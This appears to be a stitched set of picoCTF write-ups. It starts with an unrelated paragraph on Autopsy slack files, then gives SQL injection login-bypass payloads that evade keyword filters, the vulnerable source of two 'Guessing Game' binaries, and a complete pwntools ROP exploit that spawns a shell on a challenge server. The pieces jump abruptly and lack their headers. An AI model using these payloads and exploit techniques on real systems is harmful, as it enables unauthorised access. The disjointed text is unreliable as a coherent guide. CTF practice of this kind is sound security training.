File slack is the difference between the physical file size and the logical file size. Autopsy creates slack files (with the -slack extension) from any extra space at the end of a file. These files can be displayed or hidden from the data sources area and/or the views area. Go to "Tools => Options => Global Settings => Hide slack files in the:" and unselect the options in this section.
If we enter user:password on the login page, the backend SQL query will be something like this:
SELECT * FROM users WHERE username='user' AND password='solarwinds123';
Typically the very first payload for testing SQLi is ' or 1=1;--, which results in the following SQL query:
SELECT * FROM users WHERE username='' or 1=1;-- AND password='solarwinds123';
Here the leading 'closes the username field and anything comes after -- is considered as comment (hence ignored). Since '' evaluates to False and 1=1 evaluates to True, the entire SQL statement always evaluates to True.
Round 1
Filter: or
In this round, the boolean expression or is filtered. We have to come up with a different payload. Alternatively, since the SQL default admin user is named admin, one possible payload without using or is admin';--. The corresponding SQL query is:
SELECT * FROM users WHERE username='admin';--' AND password='solarwinds123';
The SQL query got executed is shown in the background:
Round 2
Filter: orandlike=--
For this round, simply remove the -- from the payload for Round 1. The corresponding SQL query is:
SELECT * FROM users WHERE username='admin';' AND password='solarwinds123';
This query is still semantically correct since ; closes the statement SELECT * FROM users WHERE username='admin':
Round 3
Filter: orand=like><--
The payload for Round 2 works for this round as well:
Round 4
Filter: orand=like><--admin
Since admin is filtered, we have to come up with another approach. A typical solution for such filter is the UNION attack. The UNION keyword in SQL allows multiple SQL statements to be executed. For example:
SELECT Alice, Bob FROM good_people UNION SELECT Eve, Mallory FROM bad_people
In our case, we could construct an UNION attack as the following:
SELECT * FROM users WHERE username='ret2basic' UNION SELECT * FROM users LIMIT 1;' AND password='solarwinds123';
However, this payload does not work since space is filtered. To bypass this filter, let's replace all spaces with /**/ (empty comment is equivalent to space):
SELECT * FROM users WHERE username='ret2basic'/**/UNION/**/SELECT/**/*/**/FROM/**/users/**/LIMIT/**/1;' AND password='solarwinds123';
This payload works:
Round 5
Filter: orand=like><--unionadmin
Since union is filtered in this round, we should switch back to the admin';-- idea. There are two things that need to be changed:
Since admin is filtered, we could split admin into adm'||'in, where || is used for concatenating strings in SQL.
Since -- is filtered, we could replace ;-- with /* to comment out the things that we don't need.
The complete SQL query is:
SELECT * FROM users WHERE username='adm'||'in'/*' AND password='solarwinds123';
The binary is statically linked, so things like ret2libc won't work.
Source Code
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 100
long increment(long in) {
return in + 1;
}
long get_random() {
return rand() % BUFSIZE;
}
int do_stuff() {
long ans = get_random();
ans = increment(ans);
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
fgets(winner, 360, stdin);
printf("Congrats %s\n\n", winner);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n\n");
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}
Note that the function get_random() does not return a random number at all since rand() is unseeded. To confirm:
The output is 83, no matter how many times you run it.
Also, pay attention to these two lines of the source code:
long ans = get_random(); // ans = 83
ans = increment(ans); // ans = 84
The correct answer to the question "What number would you like to guess?" should be 84.
Solution
Since the binary does not contain the string "/bin/sh\x00", we have to construct a 2-stage exploit:
Stage 1: Build a ROP chain for writing the string "/bin/sh\x00" to a writable memory location. A common choice is the .bss section. The address of .bss can be found using Pwntools elf.bss() method.
Stage 2: Do normal ret2syscall to execute execve("/bin/sh\x00", 0, 0).
Exploit
#!/usr/bin/env python3
from pwn import *
#--------Setup--------#
context(arch='amd64', os='linux')
elf = ELF("./vuln", checksec=False)
local = False
if local:
r = elf.process()
else:
host = 'jupiter.challenges.picoctf.org'
port = 26735
r = remote(host, port)
#--------ret2syscall--------#
offset = 120
pop_rax = 0x00000000004163f4
write_gadget = 0x000000000048dd71
bin_sh_address = elf.bss()
pop_rdi = 0x0000000000400696
pop_rsi = 0x0000000000410ca3
pop_rdx = 0x000000000044a6b5
syscall = 0x000000000040137c
payload = flat(
b"A" * offset,
# Write the string "/bin/sh\x00" to .bss section
pop_rdx, "/bin/sh\x00",
pop_rax, bin_sh_address,
write_gadget,
# Call execve("/bin/sh\x00", 0, 0)
pop_rax, 0x3b,
pop_rdi, bin_sh_address,
pop_rsi, 0,
pop_rdx, 0,
syscall,
)
r.sendlineafter("What number would you like to guess?\n", '84')
r.sendlineafter("Name? ", payload)
r.interactive()
Guessing Game 2
Solved by ret2basic
Challenge
It's the Return of your favorite game! vulnvuln.cMakefilenc jupiter.challenges.picoctf.org 57529
The binary is dynamically linked this time, which makes ret2libc possible.
Source Code
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#define BUFSIZE 512
long get_random() {
return rand;
}
int get_version() {
return 2;
}
int do_stuff() {
long ans = (get_random() % 4096) + 1;
int res = 0;
printf("What number would you like to guess?\n");
char guess[BUFSIZE];
fgets(guess, BUFSIZE, stdin);
long g = atol(guess);
if (!g) {
printf("That's not a valid number!\n");
} else {
if (g == ans) {
printf("Congrats! You win! Your prize is this print statement!\n\n");
res = 1;
} else {
printf("Nope!\n\n");
}
}
return res;
}
void win() {
char winner[BUFSIZE];
printf("New winner!\nName? ");
gets(winner);
printf("Congrats: ");
printf(winner);
printf("\n\n");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
int res;
printf("Welcome to my guessing game!\n");
printf("Version: %x\n\n", get_version());
while (1) {
res = do_stuff();
if (res) {
win();
}
}
return 0;
}